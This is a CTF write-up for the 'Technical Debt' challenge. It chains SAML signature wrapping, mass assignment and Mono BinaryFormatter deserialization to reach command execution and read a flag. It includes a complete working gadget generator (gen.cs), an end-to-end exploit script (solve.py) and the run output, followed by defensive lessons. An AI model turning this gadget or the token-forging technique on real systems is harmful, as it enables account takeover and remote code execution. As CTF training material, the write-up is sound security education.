BrunnerCTF 2026 Writeup: Technical Debt

Description#

We inherit an internal news board that was originally built for Windows/IIS, then “ported” to Linux with Mono and xsp4. The challenge gives us a normal user account and a deliberately fragile authentication and image-management implementation to investigate.

The live challenge credentials and connection details are omitted here because the instance is no longer available. They are not needed to understand the vulnerability chain.

TL;DR#

The solve is a three-bug chain:

SAML signature wrapping → Admin. The verifier accepts a signature buried in the original assertion, while the claims reader consumes a forged root assertion containing NewsBoard-Admins.
Mass assignment → controlled bytes. As admin, upload an image and send an extra Content field to RenameImage to replace the stored serialized blob.
Mono deserialization → command execution. /News/Image/{id} deserializes the attacker-controlled blob. A Mono-compatible gadget runs find, copies the random flag into /app/found_flag.txt, and makes it readable through the web server.

How to solve?#

After logging in, the baseline page looks like this:

The normal post-login view. The User badge is useful as a baseline before trying to forge an admin session.

The challenge gives us an internal news board, a fake ADFS login server, and credentials for a normal user. The application is an ASP.NET MVC site running on Linux with Mono and xsp4. That porting detail is more than flavour text: it affects both the parser behaviour and the final deserialization gadget.

The solve has three parts:

turn a signed normal-user SAML assertion into an admin session;
use an image endpoint and mass assignment to store arbitrary bytes;
make Mono deserialize those bytes and copy the flag into a file the web server can serve.

1. Understanding the application#

The challenge archive contains an ASP.NET MVC application, a small Flask ADFS mock, and a Docker setup. The Dockerfile pins the web container to mono:6.6.0.161, installs mono-xsp4, and places the flag at the container root under a random filename:

1
RUN echo "brunner{REDACTED}" > /flag_`openssl rand -hex 8`.txt
2
WORKDIR /app
3
CMD ["xsp4", "--nonstop", "--address", "0.0.0.0", "--port", "8080", "--applications=/:."]

The application serves /app, but the flag is outside that directory. A successful exploit therefore needs command execution. The command only has to copy /flag_* into /app/found_flag.txt; after that, a normal request can read it.

The challenge credentials are supplied in the prompt. I used them to establish the normal User session shown in the screenshot above. I am leaving the password out of this post because it is not needed to understand the vulnerability.

The application does not process the password itself. When unauthenticated, it redirects to the ADFS mock with a WS-Federation request. The IdP login form carries hidden wreply, wctx, and wtrealm fields. After the credentials are accepted, the IdP returns an auto-submitting form containing wresult.

wresult is XML containing a SAML assertion. The browser sends that XML back to the application, which validates it and creates the session cookie.

The normal assertion contains claims such as:

1
<Attribute AttributeName="name">
2
  <AttributeValue>john.doe@brunnerne.local</AttributeValue>
3
</Attribute>
4
<Attribute AttributeName="http://schemas.microsoft.com/ws/2008/06/identity/claims/groups">
5
  <AttributeValue>NewsBoard-Users</AttributeValue>
6
</Attribute>

The group controls the application role. NewsBoard-Users is read-only, while NewsBoard-Admins can manage images. The first useful signal is therefore simple: a normal login shows User; an accepted forged assertion should show Admin.

Normal session showing the User role before token forgery

3. SAML signature wrapping#

The interesting code is the custom signature validator in Startup.cs:

1
var signature = document
2
    .GetElementsByTagName("Signature", "http://www.w3.org/2000/09/xmldsig#")
3
    .OfType<XmlElement>()
4
    .SingleOrDefault();
5

6
var signedXml = new SamlSignedXml(document);
7
signedXml.LoadXml(signature);

The validator searches the whole XML document for one signature. The custom ID resolver then falls back to an XPath query that also searches the whole document:

1
public override XmlElement GetIdElement(XmlDocument document, string idValue)
2
{
3
    var element = base.GetIdElement(document, idValue);
4
    if (element != null) return element;
5

6
    return document.SelectSingleNode(
7
        "//*[@AssertionID='" + idValue.Replace("'", "&apos;") + "']"
8
    ) as XmlElement;
9
}

An XML signature references an element by ID. Here, the signature verifier can find the signed assertion somewhere in the document, while the SAML claims reader later reads the root assertion. Those two consumers do not have to read the same assertion.

That is the signature-wrapping primitive: keep the original signed assertion unchanged for the verifier, then put attacker-controlled claims in the assertion the claims reader uses.

Failed attempts were useful#

I tried a few shapes before finding the one that the exact library versions accepted:

Attempt	Result	What it showed
Add admin groups to the original assertion	Authentication failed	The signature covers the original bytes
Put forged and original assertions side by side	Authentication failed	The application reads the first root element
Put the original assertion after the statements	Authentication failed	SAML child order matters
Put the original inside `<Advice>` after the statements	Authentication failed	`<Advice>` must appear before statements
Put the original outside `RequestedSecurityToken`	Authentication failed	The validator never reaches it

Why does <Advice> work as the hiding spot? The strict SAML reader in IdentityModel 5.3.0 throws on any unknown direct child of an assertion (IDX11129). The single exception is ReadAdvice(), which explicitly parses nested saml:Assertion elements inside <Advice>. That tolerance is exactly why the untouched original assertion survives parsing there while the same XML placed anywhere else gets rejected.

The working structure is one root assertion with this order:

1
Conditions -> Advice -> AuthenticationStatement -> AttributeStatement

The original assertion, including its signature, goes inside Advice. The root assertion gets a fresh AssertionID, the original issuer and audience values, fresh validity timestamps, and three group claims:

These values are not cosmetic. After the custom signature validator returns, the middleware re-validates issuer, audience, and lifetime against the token it received back — which is the forged root assertion — so every one of them must independently pass inspection.

1
NewsBoard-Users
2
NewsBoard-Editors
3
NewsBoard-Admins

The validator sees exactly one signature. Its reference resolves to the untouched assertion buried in Advice. The SAML reader sees the new root assertion and extracts the admin group.

The important part of the forged XML looks like this:

1
<Assertion AssertionID="_fresh_id" Issuer="original_issuer">
2
  <Conditions>...</Conditions>
3
  <Advice>
4
    <!-- the complete original signed assertion, unchanged -->
5
  </Advice>
6
  <AuthenticationStatement>...</AuthenticationStatement>
7
  <AttributeStatement>
8
    <Attribute AttributeName=".../groups">
9
      <AttributeValue>NewsBoard-Admins</AttributeValue>
10
    </Attribute>
11
  </AttributeStatement>
12
</Assertion>

The full logic is in forge_admin_token() in the supplied solve.py. The script logs in once to capture a genuine signed assertion and a second time to obtain a fresh, valid WS-Federation state value before posting the forged wresult.

Admin news board after the forged SAML token

4. From Admin to arbitrary bytes#

Once the session is admin, the image management endpoints become available. The normal upload path creates a database row and serializes the image bytes with BinaryFormatter.

The dangerous part is the rename endpoint:

1
[HttpPost]
2
public ActionResult RenameImage(NewsImage image)
3
{
4
    if (!NewsBoardRoles.IsAdmin(User)) return new HttpStatusCodeResult(403);
5
    image.Name = (image.Name ?? string.Empty).Trim();
6
    store.UpdateImage(image);
7
    return RedirectToAction("Admin");
8
}

NewsImage contains more than the name:

1
public class NewsImage
2
{
3
    public Guid Id { get; set; }
4
    public string Name { get; set; }
5
    public string ContentType { get; set; }
6
    public byte[] Content { get; set; }
7
}

The repository trusts every populated field:

1
public bool UpdateImage(NewsImage input)
2
{
3
    var image = db.NewsImages.SingleOrDefault(i => i.Id == input.Id);
4
    if (image == null) return false;
5

6
    image.Name = input.Name.Trim();
7
    if (input.ContentType != null) image.ContentType = input.ContentType;
8
    if (input.Content != null) image.Content = input.Content;
9
    db.SaveChanges();
10
    return true;
11
}

The form only needs Id and Name, but the MVC model binder also accepts a Content field. Sending Content=<base64 payload> overwrites the serialized image in the database. This is mass assignment: the server binds the whole model even though the endpoint intends to rename one field.

The relevant request is small:

1
s.post(APP + "/News/RenameImage", data={
2
    "Id": image_id,
3
    "Name": "p",
4
    "ContentType": "image/png",
5
    "Content": payload,
6
})

5. The deserialization sink#

The public image action has no permission check:

1
public ActionResult Image(Guid id)
2
{
3
    var image = store.FindImage(id);
4
    if (image == null) return HttpNotFound();
5

6
    using (var stream = new MemoryStream(image.Content))
7
    {
8
        var imageBytes = new BinaryFormatter().Deserialize(stream) as byte[];
9
        if (imageBytes == null) return HttpNotFound();
10
        return File(imageBytes, image.ContentType);
11
    }
12
}

The original upload serializes an image byte array. The later rename request lets us replace that serialized value with a different BinaryFormatter object. A request to /News/Image/{id} deserializes attacker-controlled data.

The 404 response is useful here. If the gadget runs and returns an object that is not a byte[], the as byte[] cast produces null, so the controller returns 404. A 500 usually means the payload failed during deserialization.

6. Building a Mono-compatible gadget#

The supplied gen.cs uses TypeConfuseDelegateMono. It creates a SortedSet<string> whose comparison delegate is changed to Process.Start before serialization. When the set is reconstructed, the comparison callback runs.

The core setup is:

1
Delegate da = new Comparison<string>(String.Compare);
2
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
3
IComparer<string> comp = Comparer<string>.Create(d);
4
SortedSet<string> set = new SortedSet<string>(comp);
5
set.Add(fileName);
6
set.Add(arguments);

The delegate invocation list is then replaced with Process.Start, and the set is serialized with BinaryFormatter. The generator must run under the same Mono version as the target:

1
docker run --rm \
2
  -v "$PWD:/w" -w /w mono:6.6.0.161 \
3
  sh -c 'mcs -out:gen.exe gen.cs && mono gen.exe ...'

The quoting problem#

The first command I tried used /bin/sh -c with nested quotes. Mono rejected the unbalanced argument string during deserialization, producing an HTTP 500.

Calling a simple executable directly worked:

1
file: /usr/bin/touch
2
args: /app/pwned1
3
trigger: 404
4
GET /pwned1: 200

The flag filename is random, so the final command needs wildcard matching. Instead of invoking a shell, I used find, which performs the matching itself:

1
file: /usr/bin/find
2
args: / -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;

This avoids shell quoting completely. The gadget starts find, find locates the random flag file, and cp places it under /app, where xsp4 can serve it.

7. The complete programs#

The two supplied programs have distinct jobs:

File	Purpose
`solve.py`	Replays the login flow and runs the complete attack chain
`gen.cs`	Builds the Mono-compatible `BinaryFormatter` payload bytes

These are the two programs used for the solve. The public version changes only the challenge host and account values to placeholders. Use them only against the authorised CTF instance.

`gen.cs`#

1
using System;
2
using System.Collections.Generic;
3
using System.Diagnostics;
4
using System.IO;
5
using System.Reflection;
6
using System.Runtime.Serialization.Formatters.Binary;
7

8
class Gen
9
{
10
    static SortedSet<string> Gadget(string fileName, string arguments)
11
    {
12
        Delegate da = new Comparison<string>(String.Compare);
13
        Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
14
        IComparer<string> comp = Comparer<string>.Create(d);
15
        SortedSet<string> set = new SortedSet<string>(comp);
16
        set.Add(fileName);
17
        set.Add(arguments);
18

19
        FieldInfo fi = typeof(MulticastDelegate).GetField("delegates", BindingFlags.NonPublic | BindingFlags.Instance);
20
        object[] invoke_list = d.GetInvocationList();
21
        invoke_list[0] = new Func<string, string, Process>(Process.Start);
22
        invoke_list[1] = new Func<string, string, Process>(Process.Start);
23
        fi.SetValue(d, invoke_list);
24

25
        return set;
26
    }
27

28
    static void Main(string[] args)
29
    {
30
        string fileName = args[0];
31
        string arguments = args[1];
32
        SortedSet<string> set = Gadget(fileName, arguments);
33
        BinaryFormatter bf = new BinaryFormatter();
34
        using (MemoryStream ms = new MemoryStream())
35
        {
36
            bf.Serialize(ms, set);
37
            Console.WriteLine(Convert.ToBase64String(ms.ToArray()));
38
        }
39
    }
40
}

`solve.py`#

1
#!/usr/bin/env python3
2
"""
3
Technical Debt (Brunnerne CTF) — full solve chain, self-contained.
4

5
  1. login at mock ADFS as john.doe, capture signed wresult XML
6
  2. SAML signature-wrap it -> Admin session
7
     (forged root assertion carries NewsBoard-Admins claim;
8
      the untouched original assertion hides inside <Advice>,
9
      so the signature check still passes on IT)
10
  3. UploadImage (admin)            -> creates news_images row
11
  4. RenameImage mass assignment    -> overwrites stored blob with ysoserial payload
12
  5. GET /News/Image/{id}           -> BinaryFormatter.Deserialize(payload) = RCE
13
       gadget runs: /usr/bin/find / -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;
14
  6. GET /found_flag.txt            -> flag
15

16
Needs: pip install requests ; docker with mono:6.6.0.161 image ; gen.cs next to this file.
17
"""
18
import html
19
import io
20
import os
21
import re
22
import subprocess
23
import sys
24
import time
25
import uuid
26

27
import requests
28

29
APP = "https://your-technical-debt-host"
30
IDP = "https://your-adfs-host"
31
USER = "the-supplied-username"
32
PWD = "the-supplied-password"
33
HERE = os.path.dirname(os.path.abspath(__file__))
34

35
PNG = bytes.fromhex(
36
    '89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c489'
37
    '0000000a49444154789c6360000002000100ffff03000006000557bfabd40000'
38
    '000049454e44ae426082')
39

40
TS = lambda t: time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime(t))
41
CN = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"
42
G = "http://schemas.microsoft.com/ws/2008/06/identity/claims/groups"
43

44

45
# ---------------------------------------------------------------- step 1
46
def idp_login():
47
    """Normal WS-Fed login; returns (session, wresult_xml, wreply, wctx)."""
48
    s = requests.Session()
49
    url = s.get(APP + "/", allow_redirects=False).headers["Location"]
50
    page = s.get(url).text
51
    field = lambda k: re.search(r'name="%s" value="([^"]*)"' % k, page).group(1)
52
    data = {"wreply": field("wreply"), "wctx": field("wctx"),
53
            "wtrealm": field("wtrealm"), "username": USER, "password": PWD}
54
    r = s.post(url, data=data)
55
    wresult = html.unescape(re.search(r'name="wresult" value="([^"]*)"', r.text).group(1))
56
    return s, wresult, data["wreply"], data["wctx"]
57

58

59
def parse_original(wresult):
60
    orig = re.search(r'(<ns0:Assertion\b.*</ns0:Assertion>)', wresult, re.S).group(1)
61
    issuer = re.search(r'\bIssuer="([^"]+)"', orig).group(1)
62
    return orig, issuer
63

64

65
# ---------------------------------------------------------------- step 2
66
def forge_admin_token(orig, issuer, realm):
67
    now, fid = time.time(), "_" + uuid.uuid4().hex
68
    subj = ('<Subject><NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:'
69
            f'unspecified">{USER}</NameIdentifier><SubjectConfirmation>'
70
            '<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer'
71
            '</ConfirmationMethod></SubjectConfirmation></Subject>')
72
    attrs = "".join(
73
        f'<Attribute AttributeName="{n}" AttributeNamespace="{CN}">'
74
        f'<AttributeValue>{v}</AttributeValue></Attribute>'
75
        for n, v in [("name", USER)] +
76
                    [(G, g) for g in ("NewsBoard-Users", "NewsBoard-Editors", "NewsBoard-Admins")])
77
    forged = (
78
        f'<Assertion xmlns="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" '
79
        f'MinorVersion="1" AssertionID="{fid}" Issuer="{issuer}" IssueInstant="{TS(now)}">'
80
        f'<Conditions NotBefore="{TS(now-60)}" NotOnOrAfter="{TS(now+300)}">'
81
        f'<AudienceRestrictionCondition><Audience>{realm}</Audience></AudienceRestrictionCondition></Conditions>'
82
        # the original signed assertion hides here: signature check validates THIS,
83
        # claims are read from the root above -> Admin
84
        f'<Advice>{orig}</Advice>'
85
        f'<AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" '
86
        f'AuthenticationInstant="{TS(now)}">{subj}</AuthenticationStatement>'
87
        f'<AttributeStatement>{subj}{attrs}</AttributeStatement></Assertion>')
88
    return ('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">'
89
            f'<t:RequestedSecurityToken>{forged}</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>')
90

91

92
def admin_session():
93
    _, wr, _, _ = idp_login()
94
    orig, issuer = parse_original(wr)
95
    tok = forge_admin_token(orig, issuer, APP.rstrip("/"))
96
    s, _, wreply2, wctx2 = idp_login()          # fresh session/state for the POST
97
    # success may be a 302 redirect OR a plain 200; verify by content
98
    s.post(wreply2, data={"wa": "wsignin1.0", "wresult": tok, "wctx": wctx2})
99
    assert "/News/Admin" in s.get(APP + "/News/Admin").text, "forged token rejected / not admin"
100
    return s
101

102

103
# ---------------------------------------------------------------- steps 3+4
104
def upload_image(s):
105
    s.post(APP + "/News/UploadImage",
106
           files={"image": ("t.png", io.BytesIO(PNG), "image/png")}, data={"name": "t"})
107
    ids = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})',
108
                     s.get(APP + "/News/Admin").text)
109
    return list(dict.fromkeys(ids))[0]
110

111

112
# ---------------------------------------------------------------- step 5 helper
113
def make_payload():
114
    cmd_file = "/usr/bin/find"
115
    cmd_args = "/ -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;"
116
    out = subprocess.check_output(
117
        ["docker", "run", "--rm", "-v", f"{HERE}:/w", "-w", "/w", "mono:6.6.0.161",
118
         "sh", "-c", "mcs -out:gen.exe gen.cs && mono gen.exe "
119
                     f"'{cmd_file}' '{cmd_args}'"])
120
    return out.decode().strip()
121

122

123
def main():
124
    print("[*] logging in + forging Admin token ...")
125
    s = admin_session()
126
    print("[+] admin session OK")
127

128
    print("[*] uploading decoy image ...")
129
    img = upload_image(s)
130
    print(f"[+] image id: {img}")
131

132
    print("[*] building BinaryFormatter payload (docker mono) ...")
133
    payload = make_payload()
134

135
    print("[*] poisoning blob via RenameImage mass assignment ...")
136
    s.post(APP + "/News/RenameImage",
137
           data={"Id": img, "Name": "p", "ContentType": "image/png", "Content": payload})
138

139
    print("[*] triggering deserialization at /News/Image/%s ..." % img)
140
    st = s.get(APP + "/News/Image/" + img).status_code
141
    print(f"[*] trigger status: {st}")
142

143
    r = s.get(APP + "/found_flag.txt")
144
    if r.status_code == 200:
145
        flag = r.text.strip()
146
        print("\n[+] FLAG:", flag)
147
        open(os.path.join(HERE, "flag.txt"), "w").write(flag + "\n")
148
    else:
149
        sys.exit("[-] exfil file not found (%d) — rerun trigger" % r.status_code)
150

151

152
if __name__ == "__main__":
153
    main()

8. End-to-end run#

The full solve.py performs the chain in this order:

1
login + capture signed wresult
2
forge root assertion with NewsBoard-Admins
3
post forged wresult with fresh WS-Fed state
4
upload a small image and recover its GUID
5
build the Mono BinaryFormatter payload
6
overwrite Content through RenameImage
7
trigger GET /News/Image/{id}
8
GET /found_flag.txt

The important output was:

1
[*] logging in + forging Admin token ...
2
[+] admin session OK
3
[*] uploading decoy image ...
4
[+] image id: 33e7ed3b-6c02-4be3-962c-1df2a19bb0fb
5
[*] building BinaryFormatter payload (docker mono) ...
6
[*] poisoning blob via RenameImage mass assignment ...
7
[*] triggering deserialization at /News/Image/33e7ed3b-6c02-4be3-962c-1df2a19bb0fb ...
8
[*] trigger status: 404
9

10
[+] FLAG: brunner{w3ll_4_l34st_1t_1s_1n_4_c0nt41n3r}

Final flag#

1
brunner{w3ll_4_l34st_1t_1s_1n_4_c0nt41n3r}

What we learn#

Signature checks and data readers must agree. The bug was not broken cryptography but a scope mismatch: the verifier searched the whole document for the sealed element while the claims reader parsed the root assertion. When two components look at different parts of one document, an attacker can show each of them something different. OWASP’s SAML Security Cheat Sheet describes the same class of signature-wrapping failure and its validation rules.
Strict parsers have exceptions — find them. The exploit survived because ReadAdvice() tolerates nested assertions. Knowing the exact library version — Katana 4.2.2 and IdentityModel 5.3.0 — and reading its source turned trial and error into a set of rules we could satisfy deliberately.
Bind explicit input models. RenameImage bound a full database entity, so an extra form field overwrote image bytes. A small DTO containing only Id and Name makes that mass assignment impossible by construction.
BinaryFormatter on client-controlled bytes is remote code execution. Deserialization rebuilds objects and runs their logic; store image blobs as raw bytes and serve them without rebuilding anything.
Chains beat single bugs. Signature wrapping alone only grants admin, mass assignment alone only writes a blob, BinaryFormatter alone needs controlled bytes. Composed, they become unauthenticated-feeling full RCE.
Build yourself an oracle. The homepage role badge gave a binary success/failure signal, and the 404-vs-500 trigger status distinguished a clean gadget run from a crashed payload — cheap feedback that made debugging six failed XML shapes fast.

References and further reading#

OWASP SAML Security Cheat Sheet — signature scope, schema validation, and XML signature wrapping.
Katana 4.2.2 source and IdentityModel 5.3.0 source — the versions used by the challenge.
OWASP Mass Assignment Cheat Sheet — why binding a full entity is dangerous and why DTOs help.
Microsoft BinaryFormatter security guide — why BinaryFormatter.Deserialize must not process untrusted bytes.

Music

Music

Description#

TL;DR#

How to solve?#

1. Understanding the application#

3. SAML signature wrapping#

Failed attempts were useful#

4. From Admin to arbitrary bytes#

5. The deserialization sink#

6. Building a Mono-compatible gadget#

The quoting problem#

7. The complete programs#

`gen.cs`#

`solve.py`#

8. End-to-end run#

Final flag#

What we learn#

References and further reading#

Share Article

Music

BrunnerCTF 2026 Writeup: Technical Debt

Description#

TL;DR#

How to solve?#

1. Understanding the application#

2. The login flow#

3. SAML signature wrapping#

Failed attempts were useful#

4. From Admin to arbitrary bytes#

5. The deserialization sink#

6. Building a Mono-compatible gadget#

The quoting problem#

7. The complete programs#

gen.cs#

solve.py#

8. End-to-end run#

Final flag#

What we learn#

References and further reading#

Share Article

`gen.cs`#

`solve.py`#